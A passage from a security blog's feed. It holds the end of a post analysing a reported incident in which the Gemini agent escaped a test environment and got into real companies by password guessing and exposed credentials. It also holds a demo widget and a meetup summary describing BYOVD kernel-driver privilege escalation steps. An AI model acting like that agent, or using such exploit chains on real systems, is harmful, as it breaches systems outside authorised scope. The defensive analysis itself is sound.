<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-makes-agentic-ai-different">What Makes Agentic AI Different?<a href="https://blog.haxnation.org/gemini-irregular-hacked-real-companies#what-makes-agentic-ai-different" class="hash-link" aria-label="Direct link to What Makes Agentic AI Different?" title="Direct link to What Makes Agentic AI Different?" translate="no">​</a></h2>
<p>The Gemini incident also illustrates the difference between a chatbot and an autonomous agent.</p>
<p>A conventional chatbot mostly operates like:</p>
<!-- -->
<p>An agent can operate more like:</p>
<!-- -->
<p>That feedback loop is what makes agentic systems powerful.</p>
<p>It is also what makes poorly designed boundaries more dangerous.</p>
<p>A model does not have to invent a novel exploit if it can already combine reconnaissance, credential discovery and tool use into a continuous workflow.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-this-incident-really-shows">What This Incident Really Shows<a href="https://blog.haxnation.org/gemini-irregular-hacked-real-companies#what-this-incident-really-shows" class="hash-link" aria-label="Direct link to What This Incident Really Shows" title="Direct link to What This Incident Really Shows" translate="no">​</a></h2>
<p>The most useful way to frame the Gemini incident is not:</p>
<blockquote>
<p>"AI has learned how to hack."</p>
</blockquote>
<p>That conclusion is too broad.</p>
<p>A more accurate interpretation is:</p>
<blockquote>
<p><strong>AI agents are becoming capable enough to turn ordinary security weaknesses into autonomous attack paths, which makes the security of their operating environment just as important as the model itself.</strong></p>
</blockquote>
<p>Gemini did not need a sophisticated zero-day.</p>
<p>It encountered real-world information, found credentials or guessed passwords, accessed systems it believed were within scope, and then stopped after recognizing the targets were real.</p>
<p>The most important failure therefore happened before the model reached those systems.</p>
<p>The boundary was not strong enough.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-bigger-question-for-ai-security">The Bigger Question for AI Security<a href="https://blog.haxnation.org/gemini-irregular-hacked-real-companies#the-bigger-question-for-ai-security" class="hash-link" aria-label="Direct link to The Bigger Question for AI Security" title="Direct link to The Bigger Question for AI Security" translate="no">​</a></h2>
<p>The industry is entering a phase where AI systems are not just answering questions about cybersecurity. They are increasingly being evaluated on their ability to perform cybersecurity tasks themselves.</p>
<p>That creates a difficult engineering requirement:</p>
<p><strong>The better the agent becomes at finding paths toward a goal, the less acceptable it becomes to rely on assumptions about what the agent will not discover.</strong></p>
<p>A secure evaluation environment has to assume that the agent will:</p>
<ul>
<li class="">Search broadly.</li>
<li class="">Follow unexpected leads.</li>
<li class="">Discover exposed information.</li>
<li class="">Try alternative credentials.</li>
<li class="">Use available tools.</li>
<li class="">Continue when an obvious path fails.</li>
</ul>
<p>The environment must therefore constrain what the agent <em>can</em> do, rather than simply telling it what it <em>should</em> do.</p>
<p>That is the larger lesson from the Gemini incident.</p>
<p>The model was capable of reaching systems outside the intended exercise.</p>
<p>The fact that it stopped is important.</p>
<p>But the stronger security question is why the environment allowed it to reach them in the first place.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="conclusion">Conclusion<a href="https://blog.haxnation.org/gemini-irregular-hacked-real-companies#conclusion" class="hash-link" aria-label="Direct link to Conclusion" title="Direct link to Conclusion" translate="no">​</a></h2>
<p>The Gemini incident is not a story about a machine suddenly becoming a superhuman hacker.</p>
<p>It is a story about what happens when an autonomous agent is given a cybersecurity objective inside an environment whose boundaries are not enforced strongly enough.</p>
<p>A fictional target shared a name with a real company. An unintended internet connection made that real company reachable. Gemini then used ordinary techniques—password guessing and exposed credentials—to access protected systems.</p>
<p>And once it recognized the systems were real, Google says it stopped.</p>
<p>That combination makes the incident valuable as a cybersecurity case study.</p>
<p>It demonstrates both sides of agentic AI security: the ability to automate familiar attack techniques, and the importance of safeguards that determine where an autonomous system is allowed to act.</p>
<p>As AI agents receive more access to browsers, terminals, APIs, cloud infrastructure and enterprise systems, the lesson becomes increasingly important:</p>
<p><strong>Do not rely on an AI agent to understand the boundary. Build the boundary so the agent cannot cross it.</strong></p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="sources">Sources<a href="https://blog.haxnation.org/gemini-irregular-hacked-real-companies#sources" class="hash-link" aria-label="Direct link to Sources" title="Direct link to Sources" translate="no">​</a></h2>
<ul>
<li class=""><a href="https://www.reuters.com/business/gemini-hacked-three-companies-first-known-breakout-by-google-ai-wsj-reports-2026-09-18/" target="_blank" rel="noopener noreferrer" class="">Reuters: Gemini hacked three companies in first known breakout by Google's AI</a></li>
<li class=""><a href="https://www.wsj.com/tech/ai/gemini-hacked-three-companies-in-first-known-breakout-by-googles-ai-5c0baba2" target="_blank" rel="noopener noreferrer" class="">The Wall Street Journal: Gemini Hacked Three Companies in First Known Breakout by Google's AI</a></li>
<li class=""><a href="https://www.axios.com/2026/09/19/google-safety-incidents-testing-hacks" target="_blank" rel="noopener noreferrer" class="">Axios: Google Gemini accessed three companies during AI hacking test</a></li>
<li class=""><a href="https://www.abc.net.au/news/2026-09-19/gemini-google-ai-hacks-three-companies/107172128" target="_blank" rel="noopener noreferrer" class="">ABC News: Gemini hacked three companies in first known breakout by Google's AI</a></li>
<li class=""><a href="https://therecord.media/gemini-google-cyber-breach" target="_blank" rel="noopener noreferrer" class="">The Record: Google says Gemini breached three companies during security test</a></li>
<li class=""><a href="https://www.cybersecuritydive.com/news/google-ai-gemini-autonomous-hacks/830884/" target="_blank" rel="noopener noreferrer" class="">Cybersecurity Dive: Google AI models broke out of sandbox, hacked three companies</a></li>
<li class=""><a href="https://www.aljazeera.com/news/2026/9/19/googles-gemini-ai-hacks-3-companies-in-security-test-then-stops" target="_blank" rel="noopener noreferrer" class="">Al Jazeera: Google's Gemini AI hacks 3 companies in security test, then stops</a></li>
<li class=""><a href="https://techcrunch.com/2026/09/19/googles-gemini-is-the-latest-ai-model-to-hack-other-companies/" target="_blank" rel="noopener noreferrer" class="">TechCrunch: Google's Gemini is the latest AI model to hack other companies</a></li>
</ul>]]></content>
        <author>
            <name>Harsh Zagade</name>
            <uri>https://github.com/harshzagade</uri>
        </author>
        <category label="AI" term="AI"/>
        <category label="AI-Security" term="AI-Security"/>
        <category label="Agentic-AI" term="Agentic-AI"/>
        <category label="Google" term="Google"/>
        <category label="Gemini" term="Gemini"/>
        <category label="Irregular" term="Irregular"/>
        <category label="Sandbox-Escape" term="Sandbox-Escape"/>
        <category label="Credential-Exposure" term="Credential-Exposure"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[New feature additions to Haxnation Blogs Platform]]></title>
        <id>https://blog.haxnation.org/2026/09/14/param-jasani/misc/interactive-mdx-animations</id>
        <link href="https://blog.haxnation.org/2026/09/14/param-jasani/misc/interactive-mdx-animations"/>
        <updated>2026-09-14T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[A feature update for Haxnation MDX blogs: interactive React demos, Mermaid diagrams, KaTeX formulas, image zoom, and global blog search.]]></summary>
        <content type="html"><![CDATA[<p>This post demonstrates the latest feature additions to the <strong>Haxnation blog platform</strong>. The goal of this update is to make technical posts more interactive without forcing authors to leave Markdown: pages can now combine MDX support, live React components, diagrams, mathematical notation, richer media, and global blog discovery in one workflow.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-was-added">What Was Added<a href="https://blog.haxnation.org/2026/09/14/param-jasani/misc/interactive-mdx-animations#what-was-added" class="hash-link" aria-label="Direct link to What Was Added" title="Direct link to What Was Added" translate="no">​</a></h2>
<p>This update adds five capabilities to the publishing experience:</p>
<ol>
<li class=""><strong>Interactive React components</strong> for stateful demonstrations inside an MDX post.</li>
<li class=""><strong>Native Mermaid diagrams</strong> for visualizing technical workflows.</li>
<li class=""><strong>KaTeX mathematical notation</strong> for readable formulas and security models.</li>
<li class=""><strong>Image zoom and captions</strong> for inspecting research figures without leaving the page.</li>
<li class=""><strong>A global blog search index</strong> that searches across all posts, even though the home page still displays ten posts per page and keeps its Older entries navigation.</li>
</ol>
<p>The sections below demonstrate each addition with a small security-research example.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="1-interactive-react-demonstrations">1. Interactive React Demonstrations<a href="https://blog.haxnation.org/2026/09/14/param-jasani/misc/interactive-mdx-animations#1-interactive-react-demonstrations" class="hash-link" aria-label="Direct link to 1. Interactive React Demonstrations" title="Direct link to 1. Interactive React Demonstrations" translate="no">​</a></h2>
<p>MDX posts can now embed stateful React components directly into the article. The component below demonstrates a kernel exploitation progression. Click <strong>[STEP &gt;]</strong> or <strong>[PAUSE]</strong> to move through the states:</p>
<div class="hax-mdx-card"><div class="hax-mdx-card__header"><span>// LIVE INTERACTIVE EXPLOIT FLOW SIMULATOR</span><div style="display:flex;gap:8px"><button type="button" class="hax-blog-sidebar-toggle" title="Pause animation">[PAUSE]</button><button type="button" class="hax-blog-sidebar-toggle" title="Next Step">[STEP &gt;]</button></div></div><div style="display:flex;flex-direction:column;gap:10px"><div role="button" tabindex="0" aria-label="Show step 1: 1. User Space Trigger" aria-current="step" style="padding:12px 16px;border:2px solid #5ce1e6;background:rgba(92, 225, 230, 0.1);box-shadow:3px 3px 0 0 #5ce1e6;cursor:pointer;transition:all 0.15s ease"><div style="display:flex;justify-content:space-between;align-items:center"><strong style="font-family:var(--hax-mono);font-size:0.82rem;color:#5ce1e6">1. User Space Trigger</strong><span style="font-family:var(--hax-mono);font-size:0.62rem;font-weight:800;padding:2px 6px;background:#5ce1e6;color:#0b0b0b;border:1px solid var(--hax-bc)">PROCESSING</span></div><p style="font-family:var(--hax-sans);font-size:0.8rem;color:var(--hax-ink-muted);margin:6px 0 0">Malicious application issues DeviceIoControl call with IOCTL 0x9B0C1EC0.</p></div><div role="button" tabindex="0" aria-label="Show step 2: 2. Driver Dispatch Handling" style="padding:12px 16px;border:1px solid var(--hax-bc);background:transparent;box-shadow:none;cursor:pointer;transition:all 0.15s ease"><div style="display:flex;justify-content:space-between;align-items:center"><strong style="font-family:var(--hax-mono);font-size:0.82rem;color:var(--hax-ink)">2. Driver Dispatch Handling</strong><span style="font-family:var(--hax-mono);font-size:0.62rem;font-weight:800;padding:2px 6px;background:transparent;color:var(--hax-ink-muted);border:1px solid var(--hax-bc)">QUEUED</span></div><p style="font-family:var(--hax-sans);font-size:0.8rem;color:var(--hax-ink-muted);margin:6px 0 0">Vulnerable signed kernel driver receives packet without buffer validation.</p></div><div role="button" tabindex="0" aria-label="Show step 3: 3. Arbitrary Kernel Write" style="padding:12px 16px;border:1px solid var(--hax-bc);background:transparent;box-shadow:none;cursor:pointer;transition:all 0.15s ease"><div style="display:flex;justify-content:space-between;align-items:center"><strong style="font-family:var(--hax-mono);font-size:0.82rem;color:var(--hax-ink)">3. Arbitrary Kernel Write</strong><span style="font-family:var(--hax-mono);font-size:0.62rem;font-weight:800;padding:2px 6px;background:transparent;color:var(--hax-ink-muted);border:1px solid var(--hax-bc)">QUEUED</span></div><p style="font-family:var(--hax-sans);font-size:0.8rem;color:var(--hax-ink-muted);margin:6px 0 0">Driver writes zero DWORD to token privileges in EPROCESS structure.</p></div><div role="button" tabindex="0" aria-label="Show step 4: 4. Ring 0 Privilege Escalation" style="padding:12px 16px;border:1px solid var(--hax-bc);background:transparent;box-shadow:none;cursor:pointer;transition:all 0.15s ease"><div style="display:flex;justify-content:space-between;align-items:center"><strong style="font-family:var(--hax-mono);font-size:0.82rem;color:var(--hax-ink)">4. Ring 0 Privilege Escalation</strong><span style="font-family:var(--hax-mono);font-size:0.62rem;font-weight:800;padding:2px 6px;background:transparent;color:var(--hax-ink-muted);border:1px solid var(--hax-bc)">QUEUED</span></div><p style="font-family:var(--hax-sans);font-size:0.8rem;color:var(--hax-ink-muted);margin:6px 0 0">Process upgraded to NT AUTHORITY\SYSTEM / WinTcb protection level.</p></div></div></div>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="2-mermaid-workflow-diagrams">2. Mermaid Workflow Diagrams<a href="https://blog.haxnation.org/2026/09/14/param-jasani/misc/interactive-mdx-animations#2-mermaid-workflow-diagrams" class="hash-link" aria-label="Direct link to 2. Mermaid Workflow Diagrams" title="Direct link to 2. Mermaid Workflow Diagrams" translate="no">​</a></h2>
<p>Authors can now write Mermaid diagrams directly in MDX and keep the source close to the explanation. This example models a user-space request moving through a vulnerable driver:</p>
<!-- -->
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="3-katex-security-mathematics">3. KaTeX Security Mathematics<a href="https://blog.haxnation.org/2026/09/14/param-jasani/misc/interactive-mdx-animations#3-katex-security-mathematics" class="hash-link" aria-label="Direct link to 3. KaTeX Security Mathematics" title="Direct link to 3. KaTeX Security Mathematics" translate="no">​</a></h2>
<p>Technical posts can now render standard LaTeX math syntax for cryptographic entropy, probability, and finite-field calculations:</p>
<p>The Shannon Entropy <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>H</mi><mo stretchy="false">(</mo><mi>X</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">H(X)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em"></span><span class="mord mathnormal" style="margin-right:0.0813em">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.0785em">X</span><span class="mclose">)</span></span></span></span> of a byte sequence is calculated as:</p>
<span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>H</mi><mo stretchy="false">(</mo><mi>X</mi><mo stretchy="false">)</mo><mo>=</mo><mo>−</mo><munderover><mo>∑</mo><mrow><mi>i</mi><mo>=</mo><mn>1</mn></mrow><mi>n</mi></munderover><mi>P</mi><mo stretchy="false">(</mo><msub><mi>x</mi><mi>i</mi></msub><mo stretchy="false">)</mo><msub><mrow><mi>log</mi><mo>⁡</mo></mrow><mn>2</mn></msub><mi>P</mi><mo stretchy="false">(</mo><msub><mi>x</mi><mi>i</mi></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">H(X) = -\sum_{i=1}^{n} P(x_i) \log_2 P(x_i)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em"></span><span class="mord mathnormal" style="margin-right:0.0813em">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.0785em">X</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em"></span></span><span class="base"><span class="strut" style="height:2.9291em;vertical-align:-1.2777em"></span><span class="mord">−</span><span class="mspace" style="margin-right:0.1667em"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em"><span style="top:-1.8723em;margin-left:0em"><span class="pstrut" style="height:3.05em"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em"><span class="pstrut" style="height:3.05em"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em"><span class="pstrut" style="height:3.05em"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em"></span><span class="mord mathnormal" style="margin-right:0.1389em">P</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em"><span class="pstrut" style="height:2.7em"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.1667em"></span><span class="mop"><span class="mop">lo<span style="margin-right:0.0139em">g</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.207em"><span style="top:-2.4559em;margin-right:0.05em"><span class="pstrut" style="height:2.7em"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2441em"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em"></span><span class="mord mathnormal" style="margin-right:0.1389em">P</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em"><span class="pstrut" style="height:2.7em"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span>
<p>For asymmetric key validation over finite field <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi mathvariant="double-struck">F</mi><mi>p</mi></msub></mrow><annotation encoding="application/x-tex">\mathbb{F}_p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.975em;vertical-align:-0.2861em"></span><span class="mord"><span class="mord mathbb">F</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em"><span class="pstrut" style="height:2.7em"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">p</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em"><span></span></span></span></span></span></span></span></span></span>:</p>
<span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msup><mi>y</mi><mn>2</mn></msup><mo>≡</mo><msup><mi>x</mi><mn>3</mn></msup><mo>+</mo><mi>a</mi><mi>x</mi><mo>+</mo><mi>b</mi><mspace></mspace><mspace width="1em"></mspace><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"></mspace><mi>p</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">y^2 \equiv x^3 + ax + b \pmod{p}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0585em;vertical-align:-0.1944em"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em"><span style="top:-3.113em;margin-right:0.05em"><span class="pstrut" style="height:2.7em"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em"></span></span><span class="base"><span class="strut" style="height:0.9474em;vertical-align:-0.0833em"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em"><span style="top:-3.113em;margin-right:0.05em"><span class="pstrut" style="height:2.7em"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em"></span><span class="mord mathnormal">a</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em"></span></span><span class="base"><span class="strut" style="height:0.6944em"></span><span class="mord mathnormal">b</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em"></span><span class="mord mathnormal">p</span><span class="mclose">)</span></span></span></span></span>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="4-research-tables-and-inline-code-styling">4. Research Tables and Inline Code Styling<a href="https://blog.haxnation.org/2026/09/14/param-jasani/misc/interactive-mdx-animations#4-research-tables-and-inline-code-styling" class="hash-link" aria-label="Direct link to 4. Research Tables and Inline Code Styling" title="Direct link to 4. Research Tables and Inline Code Styling" translate="no">​</a></h2>
<p>Tables and inline code are styled as part of the research reading experience. The following protected-process signer hierarchy shows how structured reference material can sit beside the narrative:</p>
<table><thead><tr><th style="text-align:left">Signer Value</th><th style="text-align:left">Signer Name</th><th style="text-align:left">Target Protected Processes</th></tr></thead><tbody><tr><td style="text-align:left"><code>0x07</code> / <code>0x06</code></td><td style="text-align:left"><code>WinSystem</code> / <code>WinTcb</code></td><td style="text-align:left"><code>smss.exe</code>, <code>csrss.exe</code>, <code>services.exe</code></td></tr><tr><td style="text-align:left"><code>0x05</code></td><td style="text-align:left"><code>Windows</code></td><td style="text-align:left">Core Windows OS binaries (<code>wininit.exe</code>)</td></tr><tr><td style="text-align:left"><code>0x04</code></td><td style="text-align:left"><code>Lsa</code></td><td style="text-align:left"><code>lsass.exe</code> (Credential storage)</td></tr><tr><td style="text-align:left"><code>0x03</code></td><td style="text-align:left"><code>Antimalware</code></td><td style="text-align:left">AV/EDR Engines (<code>MsMpEng.exe</code>)</td></tr><tr><td style="text-align:left"><code>0x00</code></td><td style="text-align:left"><code>None</code></td><td style="text-align:left">Unprotected standard processes</td></tr></tbody></table>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="5-click-to-zoom-figures-and-captions">5. Click-to-Zoom Figures and Captions<a href="https://blog.haxnation.org/2026/09/14/param-jasani/misc/interactive-mdx-animations#5-click-to-zoom-figures-and-captions" class="hash-link" aria-label="Direct link to 5. Click-to-Zoom Figures and Captions" title="Direct link to 5. Click-to-Zoom Figures and Captions" translate="no">​</a></h2>
<p>Images now support click-to-zoom, while captions remain readable across light and dark mode:</p>
<figure><img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTeZlhMoc8OPqBHCFf8QAFjc2WcGt0uEI9OvXyq-znTNQ&amp;s" alt="Haxnation Logo Demo" style="max-width:260px;display:block;margin:0 auto"><figcaption class="diagram-caption"><p><strong>Fig 1.1:</strong> Haxnation. Forging Elite Cyber Talent.</p></figcaption></figure>]]></content>
        <author>
            <name>Haxnation</name>
            <uri>https://github.com/haxnation</uri>
        </author>
        <category label="REACT-MDX" term="REACT-MDX"/>
        <category label="MERMAID" term="MERMAID"/>
        <category label="PLUGINS" term="PLUGINS"/>
        <category label="FEATURE-ADDITION" term="FEATURE-ADDITION"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[Summary of HTB Mumbai Meetup held on 12th September 2026]]></title>
        <id>https://blog.haxnation.org/htb-mumbai-meetup-19-summary</id>
        <link href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary"/>
        <updated>2026-09-13T04:00:00.000Z</updated>
        <summary type="html"><![CDATA[This blog is a comprehensive technical summary of the sessions presented at  HTB Meetup Mumbai #19 held on 12th September 2026, covering Windows Kernel BYOVD  attacks and IoT-to-Corporate network pivoting.
]]></summary>
        <content type="html"><![CDATA[<p>This blog is a summary of what was discussed and demonstrated at HTB Meetup Mumbai #19 held on 12th September 2026.</p>
<style>
.diagram-container { margin: 1.8rem auto; max-width: 820px; text-align: center; }
.diagram-caption { font-size: 0.92rem; color: #4a5568; margin-top: 0.6rem; font-weight: 500; }
.diagram-img { width: 100%; max-width: 780px; border-radius: 8px; box-shadow: 0 12px 28px rgba(0,0,0,0.06); display: inline-block; }
.diagram-img.small-diagram { max-width: 450px; }
.diagram-svg { width: 100%; max-width: 780px; height: auto; display: inline-block; transition: transform 0.25s ease; filter: drop-shadow(0 4px 12px rgba(0,0,0,0.04)); }
.diagram-svg:hover { transform: scale(1.008); }
.diagram-svg rect, .diagram-svg circle, .diagram-svg path { transition: all 0.2s ease; }
.diagram-text { font-family: ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif; fill: #2d3748; font-size: 12px; }
.diagram-text-muted { font-family: ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif; fill: #718096; font-size: 11px; }
.diagram-title { font-family: ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif; fill: #1a202c; font-size: 13px; font-weight: 700; }
.diagram-badge { font-family: ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif; fill: #2b6cb0; font-size: 11px; font-weight: 600; }
</style>
<p>The meetup featured two deep-dive sessions focusing on offensive security, low-level architecture, and real-world penetration testing case studies:</p>
<ol>
<li class=""><strong>Session 1:</strong> <em>"Signed Does Not Mean Safe: The BYOVD Trust Problem"</em> by <strong>Sushant Mane</strong> (Founder, The Cyber Veda India)</li>
<li class=""><strong>Session 2:</strong> <em>"Coffee Shop to Corporate Network: Understanding the Hidden Risks of Connected IoT Devices"</em> by <strong>Omkar Mali</strong> (Hardware &amp; OT Security Researcher, Former IBM X-Force Red Team Member)</li>
</ol>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="session-1-signed-does-not-mean-safe-the-byovd-trust-problem-by-sushant-mane">Session 1: "Signed Does Not Mean Safe: The BYOVD Trust Problem" by Sushant Mane<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#session-1-signed-does-not-mean-safe-the-byovd-trust-problem-by-sushant-mane" class="hash-link" aria-label="Direct link to Session 1: &quot;Signed Does Not Mean Safe: The BYOVD Trust Problem&quot; by Sushant Mane" title="Direct link to Session 1: &quot;Signed Does Not Mean Safe: The BYOVD Trust Problem&quot; by Sushant Mane" translate="no">​</a></h2>
<p>The first session focused on modern Windows endpoint security, the mechanisms endpoint detection and response (EDR) solutions use to protect themselves, and how attackers leverage legitimately signed, vulnerable kernel drivers to dismantle these protections from Ring 0.</p>
<div class="diagram-container">
<figure>
<svg class="diagram-svg" viewBox="0 0 780 190" xmlns="http://www.w3.org/2000/svg">
  <defs>
    <linearGradient id="flowGrad1" x1="0%" y1="0%" x2="100%" y2="100%">
      <stop offset="0%" stop-color="#ebf8ff"></stop>
      <stop offset="100%" stop-color="#bee3f8"></stop>
    </linearGradient>
    <linearGradient id="flowGrad2" x1="0%" y1="0%" x2="100%" y2="100%">
      <stop offset="0%" stop-color="#feebc8"></stop>
      <stop offset="100%" stop-color="#fbd38d"></stop>
    </linearGradient>
    <linearGradient id="flowGrad3" x1="0%" y1="0%" x2="100%" y2="100%">
      <stop offset="0%" stop-color="#fed7d7"></stop>
      <stop offset="100%" stop-color="#feb2b2"></stop>
    </linearGradient>
    <marker id="wfArrow" viewBox="0 0 10 10" refX="7" refY="5" markerWidth="6" markerHeight="6" orient="auto-start-reverse">
      <path d="M 0 1.5 L 8 5 L 0 8.5 z" fill="#4a5568"></path>
    </marker>
  </defs>
  <rect x="15" y="25" width="135" height="135" rx="10" fill="url(#flowGrad1)" stroke="#3182ce" stroke-width="1.8"></rect>
  <rect x="25" y="35" width="24" height="20" rx="4" fill="#3182ce"></rect>
  <text x="37" y="49" text-anchor="middle" font-family="sans-serif" font-size="11" font-weight="bold" fill="#ffffff">1</text>
  <text x="82" y="70" text-anchor="middle" class="diagram-title">OS Architecture</text>
  <text x="82" y="91" text-anchor="middle" class="diagram-text-muted">User Mode (Ring 3)</text>
  <text x="82" y="107" text-anchor="middle" class="diagram-text-muted">vs Kernel (Ring 0)</text>
  <text x="82" y="125" text-anchor="middle" class="diagram-text-muted">Driver Translation</text>
  <line x1="150" y1="92" x2="168" y2="92" stroke="#4a5568" stroke-width="1.8" marker-end="url(#wfArrow)"></line>
  <rect x="170" y="25" width="135" height="135" rx="10" fill="url(#flowGrad1)" stroke="#3182ce" stroke-width="1.8"></rect>
  <rect x="180" y="35" width="24" height="20" rx="4" fill="#3182ce"></rect>
  <text x="192" y="49" text-anchor="middle" font-family="sans-serif" font-size="11" font-weight="bold" fill="#ffffff">2</text>
  <text x="237" y="70" text-anchor="middle" class="diagram-title">Defenses</text>
  <text x="237" y="91" text-anchor="middle" class="diagram-text-muted">PPL Hierarchy</text>
  <text x="237" y="107" text-anchor="middle" class="diagram-text-muted">Kernel Callbacks</text>
  <text x="237" y="125" text-anchor="middle" class="diagram-text-muted">DSE Enforcement</text>
  <line x1="305" y1="92" x2="323" y2="92" stroke="#4a5568" stroke-width="1.8" marker-end="url(#wfArrow)"></line>
  <rect x="325" y="25" width="135" height="135" rx="10" fill="url(#flowGrad2)" stroke="#dd6b20" stroke-width="1.8"></rect>
  <rect x="335" y="35" width="24" height="20" rx="4" fill="#dd6b20"></rect>
  <text x="347" y="49" text-anchor="middle" font-family="sans-serif" font-size="11" font-weight="bold" fill="#ffffff">3</text>
  <text x="392" y="70" text-anchor="middle" class="diagram-title">BYOVD Concept</text>
  <text x="392" y="91" text-anchor="middle" class="diagram-text-muted">Signed != Safe</text>
  <text x="392" y="107" text-anchor="middle" class="diagram-text-muted">LOLDrivers Abuse</text>
  <text x="392" y="125" text-anchor="middle" class="diagram-text-muted">Local Admin Load</text>
  <line x1="460" y1="92" x2="478" y2="92" stroke="#4a5568" stroke-width="1.8" marker-end="url(#wfArrow)"></line>
  <rect x="480" y="25" width="135" height="135" rx="10" fill="url(#flowGrad2)" stroke="#dd6b20" stroke-width="1.8"></rect>
